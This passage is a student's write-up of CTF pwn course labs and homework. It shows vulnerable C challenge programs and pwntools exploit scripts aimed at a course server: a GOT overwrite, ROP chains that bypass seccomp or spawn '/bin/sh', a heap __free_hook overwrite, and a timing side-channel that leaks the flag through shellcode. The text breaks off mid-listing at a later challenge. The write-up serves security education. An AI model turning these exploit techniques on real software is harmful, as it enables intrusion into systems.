---
# System prepended metadata

title: CS2022 Pwn writeup
tags: [CTF]

---

# CS2022 Pwn writeup

## Hackmd url
https://hackmd.io/@Chtsai873/Bkh-uXcPs

* LAB
    * [got2win](#got2win)
    * [rop2win](#rop2win)
    * [heapmath](#heapmath)
    * [babynote](#babynote)
* HW
    * [how2know](#how2know)
    * [rop++](#rop++)
    * [babyums(flag1)](#babyums(flag1))
    * [babyums(flag2)](#babyums(flag2))

## got2win
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char flag[0x30];

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    int fd = open("/home/chal/flag", O_RDONLY);
    read(fd, flag, 0x30);
    close(fd);
    write(1, "Good luck !\n", 13);

    unsigned long addr = 0;
    printf("Overwrite addr: ");
    scanf("%lu", &addr);
    printf("Overwrite 8 bytes value: ");
    read(0, (void *) addr, 0x8);

    printf("Give me fake flag: ");
    int nr = read(1, flag, 0x30);
    if (nr <= 0)
        exit(1);
    flag[nr - 1] = '\0';
    printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);

    return 0;
}
```
* 解題思路 & 過程

    這一題助教上課時基本上講解得很清楚，前半段程式碼會先讀取正確的 FLAG 進到變數，接著透過 overwrite 將 read_got 蓋成 write_plt 的位置，如此一來，透過接下來呼叫的 read 就可以變成執行 write，將 FLAG 給寫出來。
    
    題目讀取 FLAG
    ![](https://i.imgur.com/usgLHo1.png)
    
    透過 pwndbg 可以得知 write 的 plt address(助教的 pwndbg)
    ![](https://i.imgur.com/JUFDaM0.png)
    
    但我的 pwndbg 不知道為何顯示的方式不太一樣，並不是直接顯示 offset，因此使用 IDA 查看 plt address
    ![](https://i.imgur.com/6rNQsdo.png)
    
    ![](https://i.imgur.com/lRVnITs.png)


    透過指令 got 查看要覆蓋的 read_got address
    ![](https://i.imgur.com/leoN4uw.png)

    

* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10004

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

r=remote('edu-ctf.zoolab.org', '10004')
# r=process('./chal')

read_got=0x404038
write_plt=0x4010c0

r.sendlineafter('Overwrite addr: ', str(read_got))
r.sendafter('Overwrite 8 bytes value: ', p64(write_plt))

r.interactive()
```
![](https://i.imgur.com/0cX22Mq.png)

## rop2win
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

char fn[0x20];
char ROP[0x100];

// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    printf("Give me filename: ");
    read(0, fn, 0x20);

    printf("Give me ROP: ");
    read(0, ROP, 0x100);

    char overflow[0x10];
    printf("Give me overflow: ");
    read(0, overflow, 0x30);

    return 0;
}
```
* 解題思路 & 過程

    這一題在考 ROP，但並不是簡單的直接進行 ROP，因為題目有設定 seccomp，導致我們無法直接使用 system 指令取得 shell。這題的解題方法是透過沒有被 seccomp 限制的 read, write, open 三個指令來 exploit，因此 ROP 主要的步驟可以分為
    1. open - 開啟 flag 檔案
    2. read - 讀取 FLAG
    3. write - 將 FLAG 寫出
    ![](https://i.imgur.com/l3cqaBM.png)

    其中，各種 gadget 的 offset 可以透過
    `ROPgadget --multibr --binary filename > rop`
    進行查詢
    
    `pop rdi ; ret`
    ![](https://i.imgur.com/e1XyVec.png)
    
    `pop rax ; ret`
    ![](https://i.imgur.com/jws8aBX.png)

    
    因為並沒有 `pop rdx ; ret` 的 gadget 可以使用，所以改用`pop rdx ; pop rbx ; ret`
    ![](https://i.imgur.com/0omUCTf.png)
    
    ...略
    
    透過 `readelf -s ./chal` 查詢 ROP base address 及 filename address
    ![](https://i.imgur.com/FG6lX0R.png)
    
    ![](https://i.imgur.com/E58kWqm.png)

    
    最後按照 send 順序塞入 flat 包裝好的指令以及 garbage 就大功告成
    ![](https://i.imgur.com/xOaHbto.png)

    ![](https://i.imgur.com/WPwW5o1.png)


* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10005

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10005)

ROP_addr=0x4e3360
fn=0x4e3340

pop_rdi_ret=0x4038b3    # pop rdi ; ret
pop_rsi_ret=0x402428    # pop rsi ; ret
pop_rdx_pop_rbx_ret = 0x493a2b
pop_rax_ret=0x45db87    # pop rax ; ret
syscall_ret=0x4284b6    # syscall ; ret
leave_ret=0x40190c      # leave ; ret

# open("pwn/LAB2_rop2win/rop2win/share/flag", 0)
# read(3, fn, 0x30)
# write(1, fn, 0x30)
ROP = flat(
    pop_rdi_ret, fn,
    pop_rsi_ret, 0,
    pop_rax_ret, 2,
    syscall_ret,
    
    pop_rdi_ret, 3,
    pop_rsi_ret, fn,
    pop_rdx_pop_rbx_ret, 0x30, 0,
    pop_rax_ret, 0,
    syscall_ret,
    
    pop_rdi_ret, 1,
    pop_rax_ret, 1,
    pop_rsi_ret, fn,
    pop_rdx_pop_rbx_ret, 0x30, 0,
    syscall_ret
)

# ROP_bad = flat(
#     pop_rdi_ret, fn,
#     pop_rsi_ret, 0,
#     pop_rdx_pop_rbx_ret, 0,
#     pop_rax_ret, 0x3b,
#     syscall_ret
# )

r.sendlineafter('Give me filename: ', '/home/chal/flag\x00')
r.sendafter('Give me ROP: ', b'A'*0x8+ROP)
r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))

# #bad
# """
# r.sendafter('Give me filename: ', '/bin/sh\x00')
# r.sendafter('Give me ROP: ', b'A'*0x8+ROP_bad)
# r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr)+p64(leave_ret))
# """

r.interactive()

```
![](https://i.imgur.com/eRymQNk.png)

## heapmath
* 題目程式碼
```cpp=
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    srand(time(NULL));

    void *tcache_chk[7]                = {0};
    unsigned char tcachebin[3][7]      = {0}; // 0x20, 0x30, 0x40
    unsigned int tcachebin_counts[4]   = {0};
    unsigned long tcache_size[7]       = {0};
    unsigned long tcache_free_order[7] = {0};
    puts("----------- ** tcache chall ** -----------");
    unsigned long tmp = 0;
    for (int i = 0; i < 7; i++) {
        tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30
        tcache_size[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
    repeat:
        tmp = rand() % 7;
        for (int j = 0; j < i; j++)
            if (tmp == tcache_free_order[j]) goto repeat;
        tcache_free_order[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
        tcache_chk[i] = malloc( tcache_size[i] );
        printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]);
    }

    for (int i = 0; i < 7; i++) {
        int idx = tcache_free_order[i];
        free(tcache_chk[ idx ]);
        printf("free(%c);\n", 'A' + (unsigned char) idx);

        tmp = tcache_size[ idx ] - 0x8;
        if (tmp % 0x10)
            tmp = (tmp & ~0xf) + 0x20;
        else
            tmp += 0x10;

        unsigned int binidx = ((tmp - 0x20) / 0x10);
        unsigned int bincnt = tcachebin_counts[ binidx ];
        tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;
        tcachebin_counts[ binidx ]++;
    }

    char tmpbuf[0x100]   = {0};
    char ansbuf[3][0x100] = {0};
    for (int i = 0; i < 3; i++) {
        for (int j = 6; j >= 0; j--)
            if (tcachebin[i][j]) {
                sprintf(tmpbuf, "%c --> ", tcachebin[i][j]);
                strcat(ansbuf[i], tmpbuf);
            }
        strcat(ansbuf[i], "NULL");
    }
    puts("");
    for (int i = 0; i < 3; i++) {
        printf("[chunk size] 0x%x: ", (i+2) * 0x10);
        if (i == 0) {
            printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]);
        } else {
            printf("?\n> ");
            fgets(tmpbuf, 0x100, stdin);
            
            if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {
                puts("Correct !");
            } else {
                puts("Wrong !");
                printf("Ans: \"%s\"\n", ansbuf[i]);
                exit(0);
            }
        }
    }

    puts("\n----------- ** address chall ** -----------");
    int cmp1 = 0;
    int cmp2 = 0;
    unsigned long ans_addr = 0;

    cmp1 = rand() % 7;
    while ((cmp2 = rand() % 7) == cmp1);
    if (cmp1 > cmp2) {
        tmp = cmp1;
        cmp1 = cmp2;
        cmp2 = tmp;
    }

    printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]);
    printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ",
                'A' + cmp2, tcache_chk[ cmp1 ]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %p\n", tcache_chk[ cmp2 ]);
        exit(0);
    }

    puts("\n----------- ** index chall ** -----------");
    unsigned long *fastbin[2] = {0};
    unsigned long fastbin_size = 0;
    unsigned long secret_idx = 0, result_idx = 0, res = 0;

    fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70
    fastbin_size &= ~0xf;
    fastbin[0] = (unsigned long *) malloc( fastbin_size );
    fastbin[1] = (unsigned long *) malloc( fastbin_size );
    
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);

    secret_idx = rand() % (fastbin_size / 8);
    fastbin[1][ secret_idx ] = 0xdeadbeef;
    result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;
    
    printf("Y[%lu] = 0xdeadbeef;\n", secret_idx);
    printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> ");

    scanf("%lu", &res);

    if (fastbin[0][res] == 0xdeadbeef) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %lu\n", result_idx);
        exit(0);
    }

    puts("\n----------- ** tcache fd chall ** -----------");
    free(fastbin[0]);
    free(fastbin[1]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
    
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }

    puts("\n----------- ** fastbin fd chall (final) ** -----------");
    puts("[*] Restore the chunk to X and Y");
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    fastbin[1] = malloc(fastbin_size);
    fastbin[0] = malloc(fastbin_size);
    printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10);
    void *tmpchk[7];
    for (int i = 0; i < 7; i++)
        tmpchk[i] = malloc(fastbin_size);
    for (int i = 0; i < 7; i++)
        free(tmpchk[i]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    free(fastbin[0]);
    free(fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);

    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
        memset(tmpbuf, 0, 0x31);
        
        int fd = open("/home/heapmath/flag", O_RDONLY);
        read(fd, tmpbuf, 0x30);
        close(fd);
        printf("Here is your flag: %s\n", tmpbuf);
        puts("HI\n");
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }
}
```
* 解題思路 & 過程
    * 這主要在考對 Heap 的了解程度，可以簡單分成 5 個小題目，全部送出正確的答案便可以得到最後的 flag。因為題目可供連線的時間實在是不長，所以我這種手速慢的人只好寫腳本...(助教在我寫完腳本的隔天調整了連線時間，氣死，這個糞 code 我寫了很久)

    1. 第一小題 `----------- ** tcache chall ** -----------`
        題目隨機 malloc 了 7 個(tcache 最大值)大小介於 0x10 ~ 0x30 的記憶體位置，並將他們一一 free，使其進入 tcache，並要求輸入其在 tcache 內正確的順序，搭配 pwndbg 可以較好理解。
        ![](https://i.imgur.com/VH1Zwfj.png)

    
    2. 第二小題 `----------- ** address chall ** -----------`
        此題承續上題，給了某個 tcache 內的有chunk 的記憶體位置，根據 malloc 的順序及大小即可推出其餘的 chunk 位置
        ![](https://i.imgur.com/hCVUzwF.png)


    3. 第三小題 `----------- ** index chall ** -----------`
        第三小題依序 malloc 了大小介於 0x40 ~ 0x70 的 X, Y 兩塊記憶體空間，這題主要的概念類似 overflow，由於是連續配置的兩塊 chunk，因此可以計算出當 X 的 index 為多少時可以重疊蓋到 Y 的空間(計算 chunk and Header 大小)。
        

    4. 第四小題 `----------- ** tcache fd chall ** -----------`
        這題主要要了解 fd 的指向位置，例如 tcache fd 會指向 header 的位置，而 fastbin fd 則會指到 data 的位置。因此這題只需要簡單的計算扣掉 chunk size and header size(0x10) 即可得到 fd

    5. 第五小題 `----------- ** fastbin fd chall (final) ** -----------`
        第五小題與第四小題類似，計算方法則是扣掉 tache size and header size(0x10)

* 解題程式碼 & 執行結果圖
```python=
import time
from pwn import *
# nc edu-ctf.zoolab.org 10006

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10006)

malloc_map={}
free_list=[]
bin20=[]
bin30=[]
bin40=[]

r.recvuntil(b'----------- ** tcache chall ** -----------')
r.recvline()
for i in range(7):
    t=r.recvline()
    c=chr(t[6])
    t=t[-7:-3]
    malloc_map[c]=int(t, 16)
    
for i in range(7):
    t=r.recvline()
    t=t[-4:-3]
    free_list.append(t)

#1
for c, i in enumerate(free_list[::-1]):
    if (int(malloc_map[i.decode("utf-8") ])+0x8<0x20):
        bin20.append(i.decode("utf-8"))
r.recvline()
s=str()
for c, i in enumerate(free_list[::-1]):
    if (int(malloc_map[i.decode("utf-8") ])+0x8<0x30) & (int(malloc_map[i.decode("utf-8") ])+0x8>0x20):
        bin30.append(i.decode("utf-8"))
        s+=i.decode("utf-8")
        s+=" --> "
s+="NULL"
r.sendline(s)
r.recvline()
s=str()
for c, i in enumerate(free_list[::-1]):
    if (int(malloc_map[i.decode("utf-8") ])+0x8<0x40) and (int(malloc_map[i.decode("utf-8") ])+0x8>0x30):
        bin40.append(i.decode("utf-8"))
        s+=i.decode("utf-8")
        if c!=6:
            s+=" --> "
s+="NULL"
r.sendline(s)
time.sleep(1)

#2
r.recvuntil(b'----------- ** address chall ** -----------')
r.recvline()
t=r.recvline()
c=chr(t[8])

c_address=t[13:-4]
c_address=int(c_address, 16)
t=chr(r.recvline()[0])
f=0
for i in OrderedDict(reversed(list(malloc_map.items()))):
    
    if i==t:
        f=1
        continue
    if f==1:
        if i in bin20:
            c_address+=0x20
        elif i in bin30:
            c_address+=0x30
        elif i in bin40:
            c_address+=0x40
    if i==c:
        break
r.sendline(str(hex(c_address)))
time.sleep(1)

#3
r.recvuntil(b'----------- ** index chall ** -----------')
r.recvline()
t=r.recvline()
c=int(t[-5:-4])
r.recvline()
t=r.recvline()
t=int(chr(t[2]))
r.sendline(str(t+2*c+2))
time.sleep(1)

#4
r.recvuntil(b'----------- ** tcache fd chall ** -----------')
r.recvline()
r.recvline()
t=r.recv()
t=t[22:36]
t=int(t, 16)
t=t-0x10*(c+1)
r.sendline(hex(t))
time.sleep(1)

#5
r.recvuntil(b'----------- ** fastbin fd chall (final) ** -----------')
r.recvline()
r.recvline()
r.recvline()
r.recvline()
t=r.recvline()[-12:-8]
t=int(t, 16)
r.recvuntil(b'free(Y);')
r.recvline()
Y_address=r.recvline()[-18:-4]
Y_address=int(Y_address, 16)
Y_address=Y_address-(t+0x10)
r.sendline(hex(Y_address))

r.interactive()
```
![](https://i.imgur.com/w6AHzvM.png)
    

## babynote
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct Note
{
    char name[0x10];
    void *data;
};

struct Note *notes[0x10];

static short int get_idx()
{
    short int idx;

    printf("index\n> ");
    scanf("%hu", &idx);

    if (idx >= 0x10)
        printf("no, no ...\n"), exit(1);
    
    return idx;
}

static short int get_size()
{
    short int size;

    printf("size\n> ");
    scanf("%hu", &size);
    
    return size;
}

void add_note()
{
    short int idx;

    idx = get_idx();
    notes[idx] = malloc(sizeof(*notes[idx]));

    printf("note name\n> ");
    read(0, notes[idx]->name, 0x10);

    notes[idx]->data = NULL;
    printf("success!\n");
}

void edit_data()
{
    short int idx;
    short int size;

    idx = get_idx();
    size = get_size();

    if (notes[idx]->data == NULL)
        notes[idx]->data = malloc(size);
    
    read(0, notes[idx]->data, size);
    printf("success!\n");
}

void del_note()
{
    short int idx;

    idx = get_idx();
    free(notes[idx]->data);
    free(notes[idx]);
    printf("success!\n");
}

void show_notes()
{
    for (int i = 0; i < 0x10; i++) {
        if (notes[i] == NULL || notes[i]->data == NULL)
            continue;
        
        printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
    }
}

int main()
{
    char opt[2];

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        printf("1. add_note\n"
               "2. edit_data\n"
               "3. del_note\n"
               "4. show_notes\n"
               "5. bye\n"
               "> ");
        read(0, opt, 2);

        switch (opt[0]) {
        case '1': add_note(); break;
        case '2': edit_data(); break;
        case '3': del_note(); break;
        case '4': show_notes(); break;
        case '5': exit(0);
        }
    }
    return 0;
}
```
* 解題思路 & 過程
    這題首先第一步就是要先堆出我們所需要的 heap 結構，透過 malloc 及 free 來造成 heap buffer overflow ，從而製造出我們可以掌控的 heap 空間，並透過此空間 leak address 取得 libc address，從而做我們想做的事。
    步驟就如上課所述：
    1. 堆結構
        ![](https://i.imgur.com/V6sGOnk.png)

        ![](https://i.imgur.com/0Lohunb.png)
    
    2. Free 掉記憶體後，再透過 show operation leak 出 unsorted bin fd(指向 main arena)，如此即可得到 libc address，在透過減去 offset 獲得 library base address，然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的，自己查了一下好像跟助教給得不太一樣，但試過後發現助教是對的)
        ![](https://i.imgur.com/wo4mE3E.png)

    3. 搭配助教上課的圖可以較好理解這個步驟，透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk，可以藉此讓其 pointer 指向 _free_hook，並將 system() 給寫入，如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令，最後的執行程式會變成
    `free(B->data)` --> `system("/bin/sh")`
        ![](https://i.imgur.com/kPKPf1r.png)

    4. 拿到 shell 後在其中找到 FLAG
    ![](https://i.imgur.com/ig5GBNv.png)
    ===
    ![](https://i.imgur.com/rKXLT6o.png)

    

* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10007
import pwn
import time

def add_note(index, name):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'note name\n> ', name)

def edit_data(index, size, data):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'size\n> ', str(size))
    time.sleep(1)
    r.send(data)

def del_note(index):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'index\n> ', str(index))
    
def show_notes():
    r.sendlineafter(b'> ', b'4')
      
r = pwn.remote('edu-ctf.zoolab.org', 10007)
pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']

add_note(0, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')

add_note(1, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')

add_note(2, 'C'*0x8)

del_note(0)
show_notes()

r.recvuntil('data: ')
libc=pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
free_hook=libc + 0x1eee48
system = libc + 0x52290
# pwn.info(f"libc: {hex(libc)}")

#######################################################
fake_chunk=pwn.flat(
    0, 0x21,
    b'CCCCCCCC', b'CCCCCCCC',
    free_hook
)

data=b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x38', 16), data+fake_chunk)
r.recv()
edit_data(2, 8, pwn.p64(system))
r.recv()
del_note(1)

r.interactive()
```
![](https://i.imgur.com/op1ksiq.png)
===
![](https://i.imgur.com/Umrmwx4.png)


## how2know
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>

static char flag[0x30];

int main()
{
    void *addr;
    int fd;
    scmp_filter_ctx ctx;

    addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if ((unsigned long)addr == -1)
        perror("mmap"), exit(1);
    
    fd = open("/home/chal/flag", O_RDONLY);
    if (fd == -1)
        perror("open"), exit(1);
    read(fd, flag, 0x30);
    close(fd);

    write(1, "talk is cheap, show me the code\n", 33);
    read(0, addr, 0x1000);

    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    ((void(*)())addr)();

    return 0;
}
```
* 解題思路 & 過程

    這題的程式碼一開始根本看不懂，直到查過一輪才開始理解它在幹嘛，大概的流程如下
    1. 設定記憶體映射 addr
    2. 開啟`/home/chal/flag`讀入 FLAG
    3. 讀入 0x1000 的資料進 addr Buffer
    4. 使用 seccomp 鎖住除了 exit & exit_group 之外的 syscall
    5. 呼叫輸入的資料(?)
    
    由於這題幾乎把所有的 syscall 都限制住了，看起來沒有辦法透過 BOF 之類的漏洞處理，因此需要用點別的辦法，程式中呼叫了 read 取得 0x1000 大小的資料，我們可以透過這個 buffer 將 assmebly code 寫入使其執行。且程式中有確實的把 FLAG 給讀進 Buffer，因此我們可以透過 IDA 查看得知 FLAG 存入的位置，但我們沒辦法使用 write 將其寫出，因此這邊使用土法煉鋼的辦法，可以從題目中得知 FLAG 長度為 0x30，我們可以透過 remote 最多 (FLAG 長度(0x30) * Ascii code table(256))次來確認 FLAG內的所有字元的 Ascii code，雖然依舊沒辦法直接回傳，但可以透過時間函數 time 來比對，若是比對到相同的程式便使其進入無窮迴圈(詢問同學才得知此功能)，導致程式執行時間拉長，最終 crash；若是比對失敗則直接退出，如此透過 runtime threshold 便可以逐一確認 FLAG 內的字元，但需要執行一段時間...
    
    使用 IDA找到 FLAG load 的位置
    ![](https://i.imgur.com/sFP1W0w.png)

    使用 IDA找到 執行 Buffer code 時的 [rsp]
    ![](https://i.imgur.com/MC64jAx.png)

    將 FLAG 逐個字元取出比對
    ![](https://i.imgur.com/AdjlWP4.png)

    runtime threshold 分別是 2 秒為連線的長度，1.5秒為成功判別字元的迴圈時間，若當前字元並未配對成功則會直接退出，正常情況下不會超過1.5秒。
    ![](https://i.imgur.com/bqvJ0w3.png)



* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10002

from pwn import *
import time

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

offset=0x4040-0x13dc    # rsp 與 flag 之間 offset

def func(flag, asci):
    global offset
    asm_code = asm(f"""
    xor rdx, rdx
    mov rdx, qword ptr [rsp]
    add rdx, {offset}
    xor rax, rax
    mov rax, qword ptr [rdx+{flag}]
    cmp al, {asci}
    je $-0x2
    ret
    """)
    
    r = remote("edu-ctf.zoolab.org", 10002)

    start = time.time()
    # r.recvuntil(b"talk is cheap, show me the code")
    r.recvline()
    r.send(asm_code)
    try:
        r.recvline(timeout=2)
    except:
        ...
    r.close()
    if time.time() - start > 1.5:
        return True
    return False

FLAG = ""
for f in range(48):
    for asci in range(33, 127):
        if func(hex(f), asci):
            print("find", chr(asci))
            FLAG += chr(asci)
            print(FLAG)
            break
print(FLAG)
```
![](https://i.imgur.com/JWo0JHO.png)

![](https://i.imgur.com/esb2Ipj.png)

![](https://i.imgur.com/NXoEJbJ.png)


## rop++
* 題目程式碼
```cpp=
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    char buf[0x10];
    const char *msg = "show me rop\n> ";

    write(1, msg, strlen(msg));
    read(0, buf, 0x200);
    
    return 0;
}
```
* 解題思路 & 過程

    這題 rop++ 相較其他題目之下就比較簡短，概念基本上也跟 LAB2 差不多，需要透過 gadget 改造 read 來想辦法執行我們需要的指令。這題看完題目後發現只有一個 Read 的 stack buffer overflow，且題目本身沒有加上 seccomp 之類的限制，以及為 static 編譯。看完題目後決定使用 rop gadget 想辦法執行 `/bin/sh` 取得程式使用權，因此一樣使用
    `ROPgadget --multibr --binary filename > rop` 
    查看可使用的 rop gadget
    
    `pop rdi ; ret`
    ![](https://i.imgur.com/wqVtIN7.png)

    `pop rsi ; ret`
    ![](https://i.imgur.com/TfqviU9.png)
    
    `syscall`
    ![](https://i.imgur.com/CXjQsY5.png)

    
    由於找不到 `pop rdx ; ret` 因此改用 `pop rdx ; pop rbx ; ret` 作為替代
    ![](https://i.imgur.com/8iaCqiz.png)

    ...略
    
    由於程式內找不到 `/bin/sh`，所以需要自己放入，助教似乎是使用 read 來進行讀取，但我實作時不知道發生了甚麼錯誤一直行不通，詢問隊友才知道也可以使用 mov 來給字串(由於`"/bin/sh/\x00"`剛好為 8bytes)，
    
    在同伴指引下找到可使用的 gadget
    ![](https://i.imgur.com/fL6E484.png)

    暫時儲存字串的位置可以透過
    `readelf -S ./chal`
    找尋，我使用 .data 的位置來暫存`"/bin/sh/\x00"` -> temp_region
    ![](https://i.imgur.com/n4Y2n8H.png)

    ROP 段
    ![](https://i.imgur.com/vqcZh1H.png)


* 解題程式碼 & 執行結果圖
```python=
from pwn import *
# nc edu-ctf.zoolab.org 10003

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
r=remote('edu-ctf.zoolab.org', 10003)

temp_region=0x4c50e0 
pop_rax_ret=0x447b27
pop_rdi_ret=0x401e3f
pop_rsi_ret=0x409e6e
pop_rdx_pop_rbx_ret=0x47ed0b
mov_rsi_rax=0x449fa5
syscall=0x401bf4

ROP=flat(
    b"A"*40,
    pop_rax_ret, b'/bin/sh\0',
    pop_rsi_ret, temp_region,
    mov_rsi_rax,
    
    pop_rdi_ret, temp_region,
    pop_rsi_ret, 0,
    pop_rdx_pop_rbx_ret, 0, 0,
    pop_rax_ret, 0x3b,
    syscall
)

r.recvuntil(b'show me rop\n> ')
r.sendline(ROP)
r.interactive()
```
![](https://i.imgur.com/V4uQ3Zm.png)


## babyums(flag1)
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"

struct User
{
    char name[0x10];
    char password[0x10];
    void *data;
};

struct User *users[8];

static short int get_idx()
{
    short int idx;

    printf("index\n> ");
    scanf("%hu", &idx);

    if (idx >= 8)
        printf("no, no ..."), exit(1);
    
    return idx;
}

static short int get_size()
{
    short int size;

    printf("size\n> ");
    scanf("%hu", &size);

    if (size >= 0x500)
        printf("no, no ..."), exit(1);
    
    return size;
}

void add_user()
{
    short int idx;

    idx = get_idx();
    users[idx] = malloc(sizeof(*users[idx]));

    printf("username\n> ");
    read(0, users[idx]->name, 0x10);

    printf("password\n> ");
    read(0, users[idx]->password, 0x10);

    users[idx]->data = NULL;
    printf("success!\n");
}

void edit_data()
{
    short int idx;
    short int size;

    idx = get_idx();
    size = get_size();

    if (users[idx]->data == NULL)
        users[idx]->data = malloc(size);
    
    read(0, users[idx]->data, size);
    printf("success!\n");
}

void del_user()
{
    short int idx;

    idx = get_idx();
    free(users[idx]->data);
    free(users[idx]);
    printf("success!\n");
}

void show_users()
{
    for (int i = 0; i < 8; i++) {
        if (users[i] == NULL || users[i]->data == NULL)
            continue;
        
        printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
    }
}

void add_admin()
{
    users[0] = malloc(sizeof(*users[0]));
    strcpy(users[0]->name, "admin");
    strcpy(users[0]->password, FLAG1);
    users[0]->data = NULL;
}

int main()
{
    char opt[2];
    int power = 20;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("**** User Management System ****\n");
    add_admin();

    while (power)
    {
        power--;
        printf("1. add_user\n"
               "2. edit_data\n"
               "3. del_user\n"
               "4. show_users\n"
               "5. bye\n"
               "> ");
        read(0, opt, 2);

        switch (opt[0]) {
